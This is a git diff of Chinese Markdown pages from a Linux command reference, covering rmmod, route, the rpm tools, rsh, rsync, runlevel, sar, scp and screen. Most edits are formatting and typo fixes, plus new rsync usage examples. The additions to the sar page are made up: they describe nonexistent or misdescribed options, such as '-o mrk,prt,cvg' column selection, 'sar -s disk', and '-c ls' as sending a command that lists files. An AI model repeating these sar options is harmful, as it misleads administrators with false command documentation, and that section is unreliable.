 -w:等待着,直到模块能够被除时在移除模块;
 -s:向系统日志(syslog)发送错误信息。
 ```
 
-### 参数  
+### 参数
 
 模块名:要移除的模块名称。
 
-### 实例  
+### 实例
 
 用rmmod命令主要用于卸载正在使用的Linux内核模块,与`modprobe -r`命令相似,如下所示:
 
-```
+```shell
 [root@localhost boot]# lsmod | grep raid1
 raid1                  25153  0
 
@@ -39,4 +39,3 @@ raid1                  25153  0
 ```
 
 
-
\ No newline at end of file
diff --git a/command/route.md b/command/route.md
index e6e3de9aabb..9efeb6df712 100644
--- a/command/route.md
+++ b/command/route.md
@@ -1,6 +1,6 @@
 route
 ===
-
+
 显示并设置Linux中静态路由表
 
 ## 补充说明
@@ -9,15 +9,15 @@ route
 
 在Linux系统中设置路由通常是为了解决以下问题:该Linux系统在一个局域网中,局域网中有一个网关,能够让机器访问Internet,那么就需要将这台机器的ip地址设置为Linux机器的默认路由。要注意的是,直接在命令行下执行route命令来添加路由,不会永久保存,当网卡重启或者机器重启之后,该路由就失效了;可以在`/etc/rc.local`中添加route命令来保证该路由设置永久有效。
 
-### 语法  
+###  语法
 
-```
+```shell
 route(选项)(参数)
 ```
 
-### 选项  
+###  选项
 
-```
+```shell
 -A:设置地址类型;
 -C:打印将Linux核心的路由缓存;
 -v:详细信息模式;
@@ -27,23 +27,23 @@ route(选项)(参数)
 -host:到一个主机的路由表。
 ```
 
-### 参数  
+###  参数
 
-```
-Add:增加指定的路由记录;
-Del:删除指定的路由记录;
-Target:目的网络或目的主机;
+```shell
+add:增加指定的路由记录;
+del:删除指定的路由记录;
+target:目的网络或目的主机;
 gw:设置默认网关;
 mss:设置TCP的最大区块长度(MSS),单位MB;
 window:指定通过路由表的TCP连接的TCP窗口大小;
 dev:路由记录所表示的网络接口。
 ```
 
-### 实例  
+###  实例
 
  **显示当前路由:** 
 
-```
+```shell
 [root@localhost ~]# route
 Kernel IP routing table
 Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
@@ -77,29 +77,28 @@ Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
 
  **添加网关/设置网关:** 
 
-```
-route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0    #增加一条到达244.0.0.0的路由。
+```shell
+route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0    #增加一条到达224.0.0.0的路由。
 ```
 
  **屏蔽一条路由:** 
 
-```
+```shell
 route add -net 224.0.0.0 netmask 240.0.0.0 reject     #增加一条屏蔽的路由,目的地址为224.x.x.x将被拒绝。
 ```
 
  **删除路由记录:** 
 
-```
+```shell
 route del -net 224.0.0.0 netmask 240.0.0.0
 route del -net 224.0.0.0 netmask 240.0.0.0 reject
 ```
 
  **删除和添加设置默认网关:** 
 
-```
+```shell
 route del default gw 192.168.120.240
 route add default gw 192.168.120.240
 ```
 
 
-
\ No newline at end of file
diff --git a/command/rpm.md b/command/rpm.md
index a7d93b79c5d..f7ec56d5dc8 100644
--- a/command/rpm.md
+++ b/command/rpm.md
@@ -9,13 +9,13 @@ RPM软件包的管理工具
 
 ### 语法
 
-```
+```shell
 rpm(选项)(参数)
 ```
 
 ### 选项
 
-```
+```shell
 -a:查询所有套件;
 -b<完成阶段><套件档>+或-t <完成阶段><套件档>+:设置包装套件的完成阶段,并指定套件档的文件名称;
 -c:只列出组态配置文件,本参数需配合"-l"参数使用;
@@ -45,7 +45,7 @@ rpm(选项)(参数)
 
 rpm软件包的安装可以使用程序rpm来完成。执行下面的命令:
 
-```
+```shell
 rpm -ivh your-package.rpm
 ```
 
@@ -53,13 +53,13 @@ rpm -ivh your-package.rpm
 
 安装过程中可能出现下面的警告或者提示:
 
-```
+```shell
 ... conflict with ...
 ```
 
 可能是要安装的包里有一些文件可能会覆盖现有的文件,缺省时这样的情况下是无法正确安装的可以用`rpm --force -i`强制安装即可
 
-```
+```shell
 ... is needed by ...
 ... is not installed ...
 ```
@@ -72,7 +72,7 @@ rpm -ivh your-package.rpm
 
 方法一:
 
-```
+```shell
 rpm -i your-package.src.rpm
 cd /usr/src/redhat/SPECS
 rpmbuild -bp your-package.specs             #一个和你的软件包同名的specs文件
@@ -84,14 +84,14 @@ make install
 
 方法二:
 
-```
+```shell
 rpm -i you-package.src.rpm
 cd /usr/src/redhat/SPECS
 ```
 
 前两步和方法一相同
 
-```
+```shell
 rpmbuild -bb your-package.specs       #一个和你的软件包同名的specs文件
 ```
 
@@ -103,7 +103,7 @@ rpmbuild -bb your-package.specs       #一个和你的软件包同名的specs文
 
 使用命令`rpm -e`包名,包名可以包含版本号等信息,但是不可以有后缀.rpm,比如卸载软件包proftpd-1.2.8-1,可以使用下列格式:
 
-```
+```shell
 rpm -e proftpd-1.2.8-1
 rpm -e proftpd-1.2.8
 rpm -e proftpd-
@@ -112,7 +112,7 @@ rpm -e proftpd
 
 不可以是下列格式:
 
-```
+```shell
 rpm -e proftpd-1.2.8-1.i386.rpm
 rpm -e proftpd-1.2.8-1.i386
 rpm -e proftpd-1.2
@@ -121,7 +121,7 @@ rpm -e proftpd-1
 
 有时会出现一些错误或者警告:
 
-```
+```shell
 ... is needed by ...
 ```
 
@@ -131,7 +131,7 @@ rpm -e proftpd-1
 
 使用工具rpm2cpio和cpio
 
-```
+```shell
 rpm2cpio xxx.rpm | cpio -vi
 rpm2cpio xxx.rpm | cpio -idmv
 rpm2cpio xxx.rpm | cpio --extract --make-directories
@@ -145,19 +145,19 @@ rpm2cpio xxx.rpm | cpio --extract --make-directories
 
 1、我的系统中安装了那些rpm软件包。
 
-```
+```shell
 rpm -qa 讲列出所有安装过的包
 ```
 
 如果要查找所有安装过的包含某个字符串sql的软件包
 
-```
+```shell
 rpm -qa | grep sql
 ```
 
 2、如何获得某个软件包的文件全名。
 
-```
+```shell
 rpm -q mysql
 ```
 
@@ -165,13 +165,13 @@ rpm -q mysql
 
 3、一个rpm包中的文件安装到那里去了?
 
-```
+```shell
 rpm -ql 包名
 ```
 
 注意这里的是不包括.rpm后缀的软件包的名称,也就是说只能用mysql或者mysql-3.23.54a-11而不是mysql-3.23.54a-11.rpm。如果只是想知道可执行程序放到那里去了,也可以用which,比如:
 
-```
+```shell
 which mysql
 ```
 
@@ -187,7 +187,7 @@ which mysql
 
 6、某个程序是哪个软件包安装的,或者哪个软件包包含这个程序。
 
-```
+```shell
 rpm -qf `which 程序名`    #返回软件包的全名
 rpm -qif `which 程序名`   #返回软件包的有关信息
 rpm -qlf `which 程序名`   #返回软件包的文件列表
@@ -199,7 +199,7 @@ rpm -qlf `which 程序名`   #返回软件包的文件列表
 
 注意,前一个问题中的方法,只适用与可执行的程序,而下面的方法,不仅可以用于可执行程序,也可以用于普通的任何文件。前提是知道这个文件名。首先获得这个程序的完整路径,可以用whereis或者which,然后使用`rpm -qf`例如:
 
-```
+```shell
 whereis ftptop
 ftptop: /usr/bin/ftptop /usr/share/man/man1/ftptop.1.gz
 
@@ -220,7 +220,7 @@ rpm 校验: SM5DLUGT -> size modified(类型/权限) md5 device L(文件路径)
 
 yum: 解决 rpm 依赖的问题
 
-```
+```shell
 # rpm
 mysql57-community-release-el6-8.noarch.rpm # 一个 rpm 包的例子
 /var/lib/rpm/ # 包全名 -> 包名 的数据库
@@ -239,4 +239,3 @@ rpm2cpio | cpio -idv
 /usr/share/man/ manual
 ```
 
-
\ No newline at end of file
diff --git a/command/rpm2cpio.md b/command/rpm2cpio.md
index cbc442b626e..dc8d93b08a3 100644
--- a/command/rpm2cpio.md
+++ b/command/rpm2cpio.md
@@ -1,27 +1,26 @@
 rpm2cpio
 ===
-
+
 将RPM软件包转换为cpio格式的文件
 
 ## 补充说明
 
 **rpm2cpio命令** 用于将rpm软件包转换为cpio格式的文件。
 
-### 语法  
+###  语法
 
-```
+```shell
 rpm2cpio(参数)
 ```
 
-### 参数  
+###  参数
 
 文件:指定要转换的rpm包的文件名。
 
-### 实例  
+###  实例
 
-```
+```shell
 rpm2cpio ../libstdc++-4.3.0-8.i386.rpm | cpio -idv
 ```
 
 
-
\ No newline at end of file
diff --git a/command/rpmbuild.md b/command/rpmbuild.md
index f9ce73e6f8d..66a0bffa8c0 100644
--- a/command/rpmbuild.md
+++ b/command/rpmbuild.md
@@ -1,21 +1,21 @@
 rpmbuild
 ===
-
+
 创建RPM的二进制软件包和源码软件包
 
 ## 补充说明
 
 **rpmbuild命令** 被用于创建rpm的二进制软件包和源码软件包。
 
-### 语法  
+###  语法
 
-```
+```shell
 rpmbuild(选项)
 ```
 
-### 选项  
+###  选项
 
-```
+```shell
 --initdb:初始化RPM数据库;
 --rebuilddb:从已安装的包头文件,方向重建RPM数据库;
 -ba:创建二进制和源代码包;
@@ -23,13 +23,12 @@ rpmbuild(选项)
 -bs:创建源代码包。
 ```
 
-### 实例  
+###  实例
 
-```
+```shell
 rpmbuild -ba 'spec文件路径'
 ```
 
 build完后,可以在`/usr/src/redhat/RPMS/`下找到二进制rpm包,rpm包按照其对应的cpu体系结构分类,通常在`/usr/src/redhat/RPMS/i386`目录下。`/usr/src/redhat/SRPMS/`下找到源码rpm包,此时由于是源代码,所以无须按体系结构分类。
 
 
-
\ No newline at end of file
diff --git a/command/rpmdb.md b/command/rpmdb.md
index 5a46383c68d..f829f55363a 100644
--- a/command/rpmdb.md
+++ b/command/rpmdb.md
@@ -1,24 +1,23 @@
 rpmdb
 ===
-
+
 初始化和重建RPM数据库
 
 ## 补充说明
 
 **rpmdb命令** 用于初始化和重建rpm数据库。
 
-### 语法  
+###  语法
 
-```
+```shell
 rpmdb(选项)
 ```
 
-### 选项  
+###  选项
 
-```
+```shell
 --initdb:初始化RPM数据库;
 --rebuilddb:从已安装的包头文件,反向重建RPM数据库。
 ```
 
 
-
\ No newline at end of file
diff --git a/command/rpmquery.md b/command/rpmquery.md
index d7c2fd2b8b1..2a401874d92 100644
--- a/command/rpmquery.md
+++ b/command/rpmquery.md
@@ -1,21 +1,21 @@
 rpmquery
 ===
-
+
 从RPM数据库中查询软件包信息
 
 ## 补充说明
 
 **rpmquery命令** 使用多种依据从rpm数据库中查询软件包信息。
 
-### 语法  
+###  语法
 
-```
+```shell
 rpmquery(选项)
 ```
 
-### 选项  
+###  选项
 
-```
+```shell
 -qf:查询指定的文件所属的软件包;
 -q:查询指定的软件包是否被安装;
 -qc:查询软件包中的配置文件;
@@ -23,14 +23,13 @@ rpmquery(选项)
 -qi:查询软件包的基本信息。
 ```
 
-### 实例  
+###  实例
 
 使用rpmquery命令查询指定文件所属的软件包:
 
-```
+```shell
 [root@localhost ~]# rpmquery -qf /usr/bin/htpasswd
 httpd-2.2.3-81.el5.centos
 ```
 
 
-
\ No newline at end of file
diff --git a/command/rpmsign.md b/command/rpmsign.md
index 2483f2a69de..0e51257d1f5 100644
--- a/command/rpmsign.md
+++ b/command/rpmsign.md
@@ -1,21 +1,21 @@
 rpmsign
 ===
-
+
 使用RPM软件包的签名管理工具
 
 ## 补充说明
 
 **rpmsign命令** 使用rpm软件包的签名管理工具。
 
-### 语法  
+###  语法
 
-```
+```shell
 rpmsign(选项)
 ```
 
-### 选项  
+###  选项
 
-```
+```shell
 --addsign:为自动软件包添加签名;
 --checksig:验证软件包签名;
 --delsign:删除软件包签名;
@@ -26,4 +26,3 @@ rpmsign(选项)
 ```
 
 
-
\ No newline at end of file
diff --git a/command/rpmverify.md b/command/rpmverify.md
index 3c4c46e9dfd..4ff03daeafa 100644
--- a/command/rpmverify.md
+++ b/command/rpmverify.md
@@ -1,25 +1,24 @@
 rpmverify
 ===
-
+
 验证已安装的RPM软件包的正确性
 
 ## 补充说明
 
 **rpmverify命令** 用来验证已安装的rpm软件包的正确性。
 
-### 语法  
+###  语法
 
-```
+```shell
 rpmverify(选项)
 ```
 
-### 选项  
+###  选项
 
-```
+```shell
 -Va:验证所有软件包;
 -V<软件包>f:验证指定软件包;
 --nomd5:不验证软件包的md5摘要。
 ```
 
 
-
\ No newline at end of file
diff --git a/command/rsh.md b/command/rsh.md
index 61e352cf397..c165b85ab26 100644
--- a/command/rsh.md
+++ b/command/rsh.md
@@ -1,30 +1,29 @@
 rsh
 ===
-
+
 连接远程主机并执行命令
 
 ## 补充说明
 
 **rsh命令** 用于连接到远程的指定主机并执行指定的命令。
 
-### 语法  
+###  语法
 
-```
+```shell
 rsh(选项)(参数)
 ```
 
-### 选项  
+###  选项
 
-```
+```shell
 -d:使用Socket层级的排错功能;
 -l<用户名称>:指定要登入远端主机的用户名称;
 -n:把输入的指令号向代号为/dev/null的特殊外围设备。
 ```
 
-### 参数  
+###  参数
 
 *   远程主机:指定要连接的远程主机;
 *   指令:指定要在远程主机上执行的命令。
 
 
-
\ No newline at end of file
diff --git a/command/rsync.md b/command/rsync.md
index eb46597f9e8..669ca60caa6 100644
--- a/command/rsync.md
+++ b/command/rsync.md
@@ -9,7 +9,7 @@ rsync
 
 ### 语法
 
-```
+```shell
 rsync [OPTION]... SRC DEST
 rsync [OPTION]... SRC [USER@]host:DEST
 rsync [OPTION]... [USER@]HOST:SRC DEST
@@ -29,7 +29,7 @@ rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]
 
 ### 选项
 
-```
+```shell
 -v, --verbose 详细模式输出。
 -q, --quiet 精简输出模式。
 -c, --checksum 打开校验开关,强制对文件传输进行校验。
@@ -51,7 +51,7 @@ rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]
 -D, --devices 保持设备文件信息。
 -t, --times 保持文件时间信息。
 -S, --sparse 对稀疏文件进行特殊处理以节省DST的空间。
--n, --dry-run现实哪些文件将被传输。
+-n, --dry-run 显示哪些文件将被传输。
 -w, --whole-file 拷贝文件,不进行增量检测。
 -x, --one-file-system 不要跨越文件系统边界。
 -B, --block-size=SIZE 检验算法使用的块尺寸,默认是700字节。
@@ -86,7 +86,7 @@ rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]
 --port=PORT 指定其他的rsync服务端口。
 --blocking-io 对远程shell使用阻塞IO。
 -stats 给出某些文件的传输状态。
---progress 在传输时现实传输过程。
+--progress 在传输时显示传输过程。
 --log-format=formAT 指定日志文件格式。
 --password-file=FILE 从FILE中得到密码。
 --bwlimit=KBPS 限制I/O带宽,KBytes per second。
@@ -99,7 +99,7 @@ rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]
 
 首先在服务端启动ssh服务:
 
-```
+```shell
 service sshd start
 启动 sshd: [确定]
 ```
@@ -108,7 +108,7 @@ service sshd start
 
 接下来就可以在客户端使用rsync命令来备份服务端上的数据了,SSH方式是通过系统用户来进行备份的,如下:
 
-```
+```shell
 rsync -vzrtopg --progress -e ssh --delete work@172.16.78.192:/www/* /databack/experiment/rsync
 work@172.16.78.192's password:
 receiving file list ...
@@ -132,7 +132,7 @@ total size is 100663363 speedup is 1024.19
 
 启动rsync服务,编辑`/etc/xinetd.d/rsync`文件,将其中的`disable=yes`改为`disable=no`,并重启xinetd服务,如下:
 
-```
+```shell
 vi /etc/xinetd.d/rsync
 
 #default: off
@@ -149,7 +149,7 @@ log_on_failure += USERID
 }
 ```
 
-```
+```shell
 /etc/init.d/xinetd restart
 停止 xinetd: [确定]
 启动 xinetd: [确定]
@@ -157,7 +157,7 @@ log_on_failure += USERID
 
 创建配置文件,默认安装好rsync程序后,并不会自动创建rsync的主配置文件,需要手工来创建,其主配置文件为“/etc/rsyncd.conf”,创建该文件并插入如下内容:
 
-```
+```shell
 vi /etc/rsyncd.conf
 
 uid=root
@@ -179,14 +179,14 @@ auth users=work
 
 创建密码文件,采用这种方式不能使用系统用户对客户端进行认证,所以需要创建一个密码文件,其格式为“username:password”,用户名可以和密码可以随便定义,最好不要和系统帐户一致,同时要把创建的密码文件权限设置为600,这在前面的模块参数做了详细介绍。
 
-```
+```shell
 echo "work:abc123" > /etc/rsyncd.passwd
 chmod 600 /etc/rsyncd.passwd
 ```
 
 备份,完成以上工作,现在就可以对数据进行备份了,如下:
 
-```
+```shell
 rsync -avz --progress --delete work@172.16.78.192::www /databack/experiment/rsync
 
 Password:
@@ -207,7 +207,7 @@ total size is 150995011 speedup is 1533.75
 
 恢复,当服务器的数据出现问题时,那么这时就需要通过客户端的数据对服务端进行恢复,但前提是服务端允许客户端有写入权限,否则也不能在客户端直接对服务端进行恢复,使用rsync对数据进行恢复的方法如下:
 
-```
+```shell
 rsync -avz --progress /databack/experiment/rsync/ work@172.16.78.192::www
 
 Password:
@@ -222,4 +222,108 @@ sent 258 bytes received 76 bytes 95.43 bytes/sec
 total size is 150995011 speedup is 452080.87
 ```
 
-
\ No newline at end of file
+**将源目录同步到目标目录**
+
+```shell
+$ rsync -r source destination
+```
+
+上面命令中,`-r` 表示递归,即包含子目录。注意,`-r`是必须的,否则 `rsync` 运行不会成功。`source` 目录表示源目录,`destination` 表示目标目录。
+
+**多个文件或目录同步**
+
+```shell
+$ rsync -r source1 source2 destination
+```
+
+上面命令中,`source1`、`source2` 都会被同步到 `destination` 目录。
+
+**同步元信息**
+
+`-a` 参数可以替代 `-r`,除了可以递归同步以外,还可以同步元信息(比如修改时间、权限等)。由于 `rsync` 默认使用文件大小和修改时间决定文件是否需要更新,所以 `-a` 比 `-r` 更有用。下面的用法才是常见的写法。
+
+```shell
+$ rsync -a source destination
+```
+
+目标目录 `destination` 如果不存在,`rsync` 会自动创建。执行上面的命令后,源目录 `source` 被完整地复制到了目标目录 `destination` 下面,即形成了 `destination/source` 的目录结构。
+
+如果只想同步源目录 `source` 里面的内容到目标目录 `destination` ,则需要在源目录后面加上斜杠。
+
+```shell
+$ rsync -a source/ destination
+```
+
+上面命令执行后,`source` 目录里面的内容,就都被复制到了 `destination` 目录里面,并不会在 `destination` 下面创建一个 `source` 子目录。
+
+
+**模拟执行的结果**
+
+如果不确定 `rsync` 执行后会产生什么结果,可以先用 `-n` 或 `--dry-run` 参数模拟执行的结果。
+
+```shell
+$ rsync -anv source/ destination
+```
+
+上面命令中,`-n` 参数模拟命令执行的结果,并不真的执行命令。`-v` 参数则是将结果输出到终端,这样就可以看到哪些内容会被同步。
+
+**目标目录成为源目录的镜像副本**
+
+默认情况下,`rsync` 只确保源目录的所有内容(明确排除的文件除外)都复制到目标目录。它不会使两个目录保持相同,并且不会删除文件。如果要使得目标目录成为源目录的镜像副本,则必须使用 `--delete` 参数,这将删除只存在于目标目录、不存在于源目录的文件。
+
+```shell
+$ rsync -av --delete source/ destination
+```
+
+上面命令中,`--delete` 参数会使得 `destination` 成为 `source` 的一个镜像。
+
+
+**排除文件**
+
+有时,我们希望同步时排除某些文件或目录,这时可以用--exclude参数指定排除模式。
+
+```shell
+$ rsync -av --exclude='*.txt' source/ destination
+# 或者
+$ rsync -av --exclude '*.txt' source/ destination
+```
+
+上面命令排除了所有 `TXT` 文件。
+
+注意,`rsync` 会同步以"点"开头的隐藏文件,如果要排除隐藏文件,可以这样写 `--exclude=".*"`。
+
+如果要排除某个目录里面的所有文件,但不希望排除目录本身,可以写成下面这样。
+
+```shell
+$ rsync -av --exclude 'dir1/*' source/ destination
+```
+
+多个排除模式,可以用多个 `--exclude` 参数。
+
+```shell
+$ rsync -av --exclude 'file1.txt' --exclude 'dir1/*' source/ destination
+```
+
+多个排除模式也可以利用 Bash 的大扩号的扩展功能,只用一个 `--exclude` 参数。
+
+```shell
+$ rsync -av --exclude={'file1.txt','dir1/*'} source/ destination
+```
+
+如果排除模式很多,可以将它们写入一个文件,每个模式一行,然后用 `--exclude-from` 参数指定这个文件。
+
+```shell
+$ rsync -av --exclude-from='exclude-file.txt' source/ destination
+```
+
+**指定必须同步的文件模式**
+
+`--include` 参数用来指定必须同步的文件模式,往往与 `--exclude` 结合使用。
+
+```shell
+$ rsync -av --include="*.txt" --exclude='*' source/ destination
+```
+
+上面命令指定同步时,排除所有文件,但是会包括 `TXT` 文件。
+
+
diff --git a/command/runlevel.md b/command/runlevel.md
index 3346d2d4a2f..43762178dbb 100644
--- a/command/runlevel.md
+++ b/command/runlevel.md
@@ -1,19 +1,19 @@
 runlevel
 ===
-
+
 打印当前Linux系统的运行等级
 
 ## 补充说明
 
 **runlevel命令** 用于打印当前Linux系统的运行等级。
 
-### 语法  
+###  语法
 
-```
+```shell
 runlevel
 ```
 
-### 知识扩展  
+###  知识扩展
 
 linux操作系统自从开始启动至启动完毕需要经历几个不同的阶段,这几个阶段就叫做runlevel,同样,当linux操作系统关闭时也要经历另外几个不同的runlevel,下面我们就准备详细介绍一下runlevel,并向您展示一些小技巧来让您的linux系统避免不必要的重启动。
 
@@ -21,7 +21,7 @@ runlevel可以认为是系统状态,形象一点,您可以认为runlevel有
 
 在大多数的linux发行版本中,通常有8个runlevel:
 
-```
+```shell
 0 停机
 1 单用户模式
 2 多用户,没有 NFS
@@ -37,4 +37,3 @@ S s Single user mode
 linux的运行模式比起windows的启动模式的优势在于:你可以在系统空闲时使用init命令切换你现在使用的runlevel,另外,当你关闭或者启动linux系统时你已经不知不觉中切换你的runlevel,系统关机进程需要调用runlevel(0或6)来关闭所有正在运行中的进程。
 
 
-
\ No newline at end of file
diff --git a/command/sar.md b/command/sar.md
index 93b2b9a97c7..fe73f3738b8 100644
--- a/command/sar.md
+++ b/command/sar.md
@@ -1,47 +1,56 @@
 sar
 ===
-
+
 系统运行状态统计工具
 
 ## 补充说明
 
 **sar命令** 是Linux下系统运行状态统计工具,它将指定的操作系统状态计数器显示到标准输出设备。sar工具将对系统当前的状态进行取样,然后通过计算数据和比例来表达系统的当前运行状态。它的特点是可以连续对系统取样,获得大量的取样数据。取样数据和分析的结果都可以存入文件,使用它时消耗的系统资源很小。
 
-### 语法  
+###  语法
 
-```
+```shell
 sar(选项)(参数)
 ```
 
-### 选项  
-
+###  选项
+
+```shell
+-A: 显示所有的报告信息;
+-b: 显示I/O速率;
+-B: 显示换页状态;
+-c: 显示进程创建活动;
+-d: 显示每个块设备的状态;
+-e: 设置显示报告的结束时间;
+-f: 从指定文件提取报告;
+-i: 设状态信息刷新的间隔时间;
+-n: 报告网络统计信息。
+-P: 报告每个CPU的状态;
+-R: 显示内存状态;
+-u: 显示CPU利用率;
+-v: 显示索引节点,文件和其他内核表的状态;
+-w: 显示交换分区状态;
+-x: 显示给定进程的状态。
 ```
--A:显示所有的报告信息;
--b:显示I/O速率;
--B:显示换页状态;
--c:显示进程创建活动;
--d:显示每个块设备的状态;
--e:设置显示报告的结束时间;
--f:从指定文件提取报告;
--i:设状态信息刷新的间隔时间;
--P:报告每个CPU的状态;
--R:显示内存状态;
--u:显示CPU利用率;
--v:显示索引节点,文件和其他内核表的状态;
--w:显示交换分区状态;
--x:显示给定进程的状态。
+
+```shell
+-r: 以分页方式显示输出,每页最多显示 100 行。  
+-o: 输出选项,指定要显示的列。例如,`-o mrk,prt,cvg` 将显示 CPU 使用率、进程标识符、磁盘使用率 和 网络流量。  
+-t: 时间戳选项,指定要在输出中添加时间戳。  
+-s: 统计选项,指定要显示的统计数据的类型。例如,`-s us,ms` 将显示 CPU 使用率的 us 和 ms 时间段的平均值。  
+-c: 选项用于指定要发送的命令。例如,`-c ls` 将显示当前目录中的文件和子目录列表。
 ```
 
-### 参数  
+###  参数
 
 *   间隔时间:每次报告的间隔时间(秒);
 *   次数:显示报告的次数。
 
-### 实例  
+###  实例
 
- **察看内存和交换空间的使用率:** 
+**察看内存和交换空间的使用率:** 
 
-```
+```shell
 sar -r
 Linux 2.4.20-8 (www.jsdig.com)    20130503  
 12:00:01 AM kbmemfree kbmemused  %memused 
@@ -59,11 +68,48 @@ Average:       324346    964374     74.83
 
 kbmemfree与kbmemused字段分别显示内存的未使用与已使用空间,后面跟着的是已使用空间的百分比(%memused字段)。kbbuffers与kbcached字段分别显示缓冲区与系统全域的数据存取量,单位为KB。
 
- **观察系统部件10分钟,并对数据进行排序:** 
+**观察系统部件10分钟,并对数据进行排序:** 
 
-```
+```shell
 sar -o temp 60 10
 ```
 
+**显示保存在每日数据文件“sa16”中的内存和网络统计信息。**
+
+```shell
+sar -r -n DEV -f /var/log/sa/sa16
+```
+
+**查看 CPU 使用率:**
+
+```shell
+sar -t
+```
+
+**查看磁盘使用率:**
+
+```shell
+sar -s disk
+```
+
+**查看网络流量:**
+
+```shell
+sar -s nic
+```
+
+**发送命令到系统服务:**
+
+```shell
+sar -c ls
+```
+
+**显示系统当前时间戳:** 
+
+```shell
+sar -t +%s
+```
+
+这些只是 `sar` 命令的一些示例,您可以根据具体需求选择不同的选项和参数。
 
-
\ No newline at end of file
+注意: `sar` 命令的输出结果可能会因为系统性能的不同而有所不同。如果要获得更准确的结果,请考虑在系统性能最佳的时候进行监控。
\ No newline at end of file
diff --git a/command/scp.md b/command/scp.md
index 0b142882d2d..44b976d1529 100644
--- a/command/scp.md
+++ b/command/scp.md
@@ -7,15 +7,15 @@ scp
 
 **scp命令** 用于在Linux下进行远程拷贝文件的命令,和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且scp传输是加密的。可能会稍微影响一下速度。当你服务器硬盘变为只读read only system时,用scp可以帮你把文件移出来。另外,scp还非常不占资源,不会提高多少系统负荷,在这一点上,rsync就远远不及它了。虽然 rsync比scp会快一点,但当小文件众多的情况下,rsync会导致硬盘I/O非常高,而scp基本不影响系统正常使用。
 
-### 语法  
+###  语法
 
-```
+```shell
 scp(选项)(参数)
 ```
 
-### 选项  
+###  选项
 
-```
+```shell
 -1:使用ssh协议版本1;
 -2:使用ssh协议版本2;
 -4:使用ipv4;
@@ -32,18 +32,18 @@ scp(选项)(参数)
 -r:以递归方式复制。
 ```
 
-### 参数  
+###  参数
 
 * 源文件:指定要复制的源文件。
 * 目标文件:目标文件。格式为`user@host:filename`(文件名为目标文件的名称)。
 
-### 实例  
+###  实例
 
 从远程复制到本地的scp命令与上面的命令雷同,只要将从本地复制到远程的命令后面2个参数互换顺序就行了。
 
- **从远处复制文件到本地目录** 
+ **从远程机器复制文件到本地目录** 
 
-```
+```shell
 scp root@10.10.10.10:/opt/soft/nginx-0.5.38.tar.gz /opt/soft/
 ```
 
@@ -51,14 +51,14 @@ scp root@10.10.10.10:/opt/soft/nginx-0.5.38.tar.gz /opt/soft/
 
 **从亚马逊云复制OpenVPN到本地目录** 
 
-```
+```shell
 scp -i amazon.pem ubuntu@10.10.10.10:/usr/local/openvpn_as/etc/exe/openvpn-connect-2.1.3.110.dmg openvpn-connect-2.1.3.110.dmg
 ```
 从10.10.10.10机器上下载openvpn安装文件到本地当前目录来。
 
- **从远处复制到本地** 
+ **从远程机器复制到本地** 
 
-```
+```shell
 scp -r root@10.10.10.10:/opt/soft/mongodb /opt/soft/
 ```
 
@@ -66,7 +66,7 @@ scp -r root@10.10.10.10:/opt/soft/mongodb /opt/soft/
 
  **上传本地文件到远程机器指定目录** 
 
-```bash
+```shell
 scp /opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest
 # 指定端口 2222
 scp -rp -P 2222 /opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest
@@ -76,11 +76,11 @@ scp -rp -P 2222 /opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest
 
  **上传本地目录到远程机器指定目录** 
 
-```
+```shell
 scp -r /opt/soft/mongodb root@10.10.10.10:/opt/soft/scptest
 ```
 
 上传本地目录`/opt/soft/mongodb`到远程机器10.10.10.10上`/opt/soft/scptest`的目录中去。
 
 
-
+
diff --git a/command/screen.md b/command/screen.md
index 411909ec694..f3fc24f5372 100644
--- a/command/screen.md
+++ b/command/screen.md
@@ -1,6 +1,6 @@
 screen
 ===
-
+
 用于命令行终端切换
 
 ## 补充说明
@@ -17,15 +17,15 @@ screen
 
 GNU's Screen 官方站点:http://www.gnu.org/software/screen/
 
-### 语法  
+###  语法
 
-```
+```shell
 # screen -AmRvx -[ls -wipe][-d <作业名称>][-h <行数>][-r <作业名称>][-s ][-S <作业名称>]
 ```
 
-### 选项  
+###  选项
 
-```
+```shell
 -A  将所有的视窗都调整为目前终端机的大小。
 -d <作业名称>  将指定的screen作业离线。
 -h <行数>  指定视窗的缓冲区行数。
@@ -40,9 +40,9 @@ GNU's Screen 官方站点:http://www.gnu.org/software/screen/
 -wipe  检查目前所有的screen作业,并删除已经无法使用的screen作业。
 ```
 
-### 常用screen参数  
+###  常用screen参数
 
-```
+```shell
 screen -S yourname -> 新建一个叫yourname的session
 screen -ls -> 列出当前所有的session
 screen -r yourname -> 回到yourname这个session
@@ -52,7 +52,7 @@ screen -d -r yourname -> 结束当前session并回到yourname这个session
 
 在每个screen session 下,所有命令都以 ctrl+a(C-a) 开始。
 
-```
+```shell
 C-a ? -> 显示所有键绑定信息
 C-a c -> 创建一个新的运行shell的窗口并切换到该窗口
 C-a n -> Next,切换到下一个 window 
@@ -80,13 +80,13 @@ C-a  -> 进入 copy mode,在 copy mode 下可以回滚、搜索、复制就像
 C-a ] -> paste,把刚刚在 copy mode 选定的内容贴上
 ```
 
-### 使用 screen  
+###  使用 screen
 
  **安装screen** 
 
 流行的Linux发行版(例如Red Hat Enterprise Linux)通常会自带screen实用程序,如果没有的话,可以从GNU screen的官方网站下载。
 
-```
+```shell
 [root@TS-DEV ~]# yum install screen
 [root@TS-DEV ~]# rpm -qa|grep screen
 screen-4.0.3-4.el5
@@ -97,13 +97,13 @@ screen-4.0.3-4.el5
 
 安装完成后,直接敲命令screen就可以启动它。但是这样启动的screen会话没有名字,实践上推荐为每个screen会话取一个名字,方便分辨:
 
-```
+```shell
 [root@TS-DEV ~]# screen -S david 
 ```
 
